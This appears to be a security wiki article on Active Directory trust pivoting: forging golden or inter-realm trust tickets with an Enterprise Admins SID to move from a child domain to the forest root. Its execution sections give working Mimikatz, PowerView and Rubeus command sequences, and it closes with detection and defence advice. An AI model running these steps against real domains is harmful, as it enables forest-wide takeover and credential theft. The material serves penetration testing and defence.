Active Directory Trust Pivoting

AD trusts let users in one domain authenticate to resources in another. From an attacker’s seat, they are lateral-movement highways: compromise a less-secured child or subsidiary domain, then ride the trust into the forest root. The canonical technique — developed by Benjamin Delpy and Sean Metcalf and popularized as the “Trustpocalypse” — forges a Kerberos ticket whose PAC carries a privileged SID-history (ExtraSids) entry, typically the forest root’s Enterprise Admins SID. Because domains inside a forest do not SID-filter intra-forest referrals, the target domain accepts the forged group membership and grants enterprise-admin access. The forest — not the domain — is the real security boundary in Active Directory.

Background: inter-realm Kerberos

When a client requests a service in a trusted domain, its own KDC cannot issue that service ticket. Instead it returns an inter-realm TGT (referral ticket) — a TGT for the remote KDC, encrypted with the trust key: a shared secret stored as the key of the trust account (TRUSTEDDOMAIN$) in each domain’s directory. Trust keys rotate roughly every 30 days — but independently of krbtgt rotation, which matters for persistence (below). The client presents the referral to the foreign KDC, which decrypts it with the trust key, trusts the embedded PAC (subject to SID filtering), and issues a service ticket.

Two forging paths exist, differing only in which key material you steal:

VariantKey materialResult
Golden ticket + ExtraSidskrbtgt NT hash of the current (child) domainForged child-domain TGT carrying Enterprise Admins SID → presented up the trust
Forged inter-realm TGT (“trust ticket”)Trust key (CHILDDOMAIN$ NT hash, via lsadump::trust /patch or DCSync)Forged referral ticket directly for the target domain, same ExtraSids injection

The trust-ticket variant survives double krbtgt rotation (Microsoft’s recommended golden-ticket remediation) because rotating krbtgt does not rotate trust keys. In practice, an attacker who can DCSync one usually has both — but the trust key is the more durable backdoor. Both variants work only across intra-forest trusts (or external trusts with SID filtering explicitly relaxed): SID filtering strips ForestSpecific SIDs like Enterprise Admins (S-1-5-21-*-519) from PACs arriving across forest boundaries.

Enumeration

Map the trust mesh first (PowerView): Get-NetDomainTrust / Get-NetForestTrust, then Get-DomainSID for the current domain and Get-NetGroup "Enterprise Admins" -Domain $ROOT_DOMAIN for the RID-519 SID to inject. BloodHound charts trust edges automatically.

Execution — golden ticket variant (child → forest root)

# SIDs
Get-DomainSID                                                  # current domain SID
Get-NetGroup "Enterprise Admins" -Domain $ROOT_DOMAIN |
    select cn, objectsid                                       # S-1-5-21-<root>-519
 
# Steal krbtgt (DCSync, needs DA-equivalent in child domain)
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName $CHILD_DC
 
# Forge golden ticket with ExtraSids = Enterprise Admins
Invoke-Mimikatz -Command '"kerberos::golden /user:$ANY_USER
    /domain:$CHILD_DOMAIN /sid:$CHILD_DOMAIN_SID
    /sids:$EA_SID /rc4:$KRBTGT_NTLM /ticket:golden.kirbi"'
 
Invoke-Mimikatz -Command '"kerberos::ptt golden.kirbi"'
ls \\$ROOT_DC\C$                                               # verify

Execution — inter-realm trust ticket variant

# Dump the trust key for the target trust
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName $CHILD_DC
 
# Forge the inter-realm TGT (service = krbtgt of the TARGET domain)
Invoke-Mimikatz -Command '"kerberos::golden /user:$ANY_USER
    /domain:$CHILD_DOMAIN /sid:$CHILD_DOMAIN_SID /sids:$EA_SID
    /rc4:$TRUST_KEY_NTLM /service:krbtgt /target:$ROOT_DOMAIN
    /ticket:trust.kirbi"'
 
# Exchange it for a service ticket in the root domain
Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/$ROOT_DC /dc:$ROOT_DC /ptt
ls \\$ROOT_DC\C$

Once on the root DC, DCSync the target admin (lsadump::dcsync /user:$ROOT_DOMAIN\$ADMIN) and pass-the-hash (sekurlsa::pth) for a session. Impacket equivalents: ticketer.py for forging, raiseChild.py automates the whole child→root path.

Detection & defense

  • Double-rotate krbtgt in every domain of the forest after a suspected compromise — and audit/rotate trust account passwords too, or trust tickets survive the cleanup.
  • Alert on Event 4768/4769 with abnormal PAC contents (SID-history entries referencing foreign domains), and on lsadump::trust-style access to TDO objects.
  • Enable SID filtering / quarantine where trust relationships genuinely require it, understanding it breaks transitivity conveniences; monitor for forged tickets via PAC validation failures.
  • The architectural fix is an ESAE (“red forest”) administrative tier: don’t let tier-0 credentials exist in less-trusted domains at all.

Related: kerberos, golden-and-silver-ticket-attacks, kerberoasting, rubeus, active-directory-certificate-services, active-directory-domains-trees-forests, drsuapi.

Sources